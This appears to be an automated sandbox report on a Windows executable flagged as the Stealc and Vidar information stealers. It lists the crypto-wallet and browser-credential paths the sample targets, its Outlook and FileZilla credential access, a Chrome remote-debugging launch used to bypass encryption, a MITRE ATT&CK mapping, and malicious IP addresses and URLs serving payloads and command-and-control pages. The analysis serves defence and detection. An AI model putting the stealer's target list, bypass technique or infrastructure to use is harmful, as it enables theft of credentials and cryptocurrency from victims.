Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2702853473.0000000000621000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2190819447.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exeem32	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe5E	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe3	100%	Avira URL Cloud	phishing
http://31.41.244.11/	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/mozglue.dll;	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe1007721001J	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllh~~	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe1	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/mozglue.dll)	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe50623	100%	Avira URL Cloud	phishing
http://31.41.244.11//Zu7JuNko/index.php	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exerlencodedX	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/msvcp140.dllf	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe3b31	100%	Avira URL Cloud	phishing
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.phpyu	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpIEBGHD.exeata;	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.181.78	true	false	high
play.google.com	172.217.19.238	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1732125470383&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28E93D09C21660CD09BC2834C3746145&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b?rn=1732125470383&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28E93D09C21660CD09BC2834C3746145&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732125476227&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360264303_1FV8HLP8B8WOIRSCV&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
https://c.msn.com/c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F4F88F636E6E4E9EBBDD3FA481D47ECA&MUID=28E93D09C21660CD09BC2834C3746145	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732125477223&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://31.41.244.11/files/random.exe1007721001J	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	false		high
http://www.broofa.com	chromecache_509.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
http://31.41.244.11/files/random.exe50623	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/random.exe5E	skotes.exe, 00000022.00000002.3418494044.0000000001369000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/0	000003.log0.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://www.last.fm/	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllh~~	file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://31.41.244.11/files/random.exe3	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/random.exe1	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
http://31.41.244.11/	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/random.exeem32	skotes.exe, 00000022.00000002.3418494044.000000000132B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.instagram.com	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll)	file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://www.messenger.com	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll;	file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/mail/compose?isExtension=true	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://i.y.qq.com/n2/m/index.html	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://www.deezer.com/	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://web.telegram.org/	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpyu	skotes.exe, 00000022.00000002.3418494044.000000000132B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EHCFBFBAEBKJKEBGCAEH.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
https://vibe.naver.com/today	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	false		high
